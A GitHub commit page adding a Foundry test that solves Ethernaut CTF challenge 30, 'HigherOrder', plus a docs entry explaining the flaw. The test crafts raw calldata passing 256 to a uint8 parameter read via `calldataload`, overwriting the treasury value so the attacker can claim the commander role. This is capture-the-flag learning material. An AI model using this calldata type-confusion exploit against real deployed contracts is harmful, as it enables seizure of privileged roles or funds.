Skip to content

Commit

Permalink
feat: ethernaut challenge 30 solution
Browse files Browse the repository at this point in the history
  • Loading branch information
leovct committed Oct 2, 2024
1 parent 3cdcc03 commit 3ddd43b
Show file tree
Hide file tree
Showing 3 changed files with 76 additions and 3 deletions.
2 changes: 1 addition & 1 deletion docs/EthernautCTF.md
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,7 @@
| 27 | GoodSamaritan || | |
| 28 | [GatekeeperThree](../src/EthernautCTF/GatekeeperThree.sol) || | |
| 29 | [Switch](../src/EthernautCTF/Switch.sol) || | |
| 30 | [HigherOrder](../src/EthernautCTF/HigherOrder.sol) | | | |
| 30 | [HigherOrder](../src/EthernautCTF/HigherOrder.sol) | | [HigherOrderExploit](../test/EthernautCTF/HigherOrderExploit.t.sol) | Reading function parameters (or any other value) using `calldataload` is dangerous because it will always return a 32-byte value and not the expected type of the variable. |
| 31 | [Stake](../src/EthernautCTF/Stake.sol) || [StakeExploit](../test/EthernautCTF/StakeExploit.t.sol) | The contract updates the balance of the user before making sure the tokens have been transfered to the contract. |

(\*) I opened a [PR](https://github.com/OpenZeppelin/ethernaut/pull/756) to prevent cheating in challenge 16.
3 changes: 1 addition & 2 deletions src/EthernautCTF/HigherOrder.sol
Original file line number Diff line number Diff line change
@@ -1,9 +1,8 @@
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma solidity ^0.6.0;

contract HigherOrder {
address public commander;

uint256 public treasury;

function registerTreasury(uint8) public {
Expand Down
74 changes: 74 additions & 0 deletions test/EthernautCTF/HigherOrderExploit.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '@forge-std/Test.sol';
import '@forge-std/console2.sol';

contract HigherOrderExploit is Test {
address deployer = makeAddr('deployer');
address exploiter = makeAddr('exploiter');

function setUp() public {}

function testExploit() public {
// The HigherOrder contract requires solidity version ^0.6.0 but forge-std only supports >0.6.2.
// Here is a dirty hack to deploy the contract with a greater solidity version.
// Note: it should run in the same function as the exploit, not in the `setUp` function.
vm.startPrank(deployer);
bytes memory bytecode = abi.encodePacked(
vm.getCode('./out/HigherOrder.sol/HigherOrder.json')
);
address targetAddress;
assembly {
targetAddress := create(0, add(bytecode, 0x20), mload(bytecode))
}
console2.log('Target contract deployed');
vm.stopPrank();

// Check that the commander role has not been taken.
(bool success, bytes memory returnData) = targetAddress.call(
abi.encodeWithSignature('commander()')
);
require(success, 'Call failed');
address commander;
if (returnData.length > 0) {
commander = abi.decode(returnData, (address));
}
assertEq(commander, address(0x0));
console2.log('Current commander: %s', commander);

// In the `registryTreasury` method of the HigherOrder contract, the uint8 argument is read from
// the calldata using `calldataload(4)`. This is a vulnerability because it will read 32 bytes
// which can overflow the type uint8, which can represented simply by one byte.
// The exploits consists of a maliciously crafted calldata that includes the selector
// function and a value, higher than 255.
bytes4 registerTreasurySelector = bytes4(
keccak256('registerTreasury(uint8)')
);
bytes memory callData = abi.encodePacked(
registerTreasurySelector, // function selector
uint256(0x100) // 32 bytes - the value 256
);
console.log('The exploiter crafts a malicious calldata');
console.logBytes(callData);
(success, ) = targetAddress.call(callData);
require(success, 'Call failed');

vm.startPrank(exploiter);
(success, ) = targetAddress.call(
abi.encodeWithSignature('claimLeadership()')
);

vm.stopPrank();

(success, returnData) = targetAddress.call(
abi.encodeWithSignature('commander()')
);
require(success, 'Call failed');
if (returnData.length > 0) {
commander = abi.decode(returnData, (address));
}
assertEq(commander, exploiter);
console2.log('New commander: %s', commander);
}
}

0 comments on commit 3ddd43b

Please sign in to comment.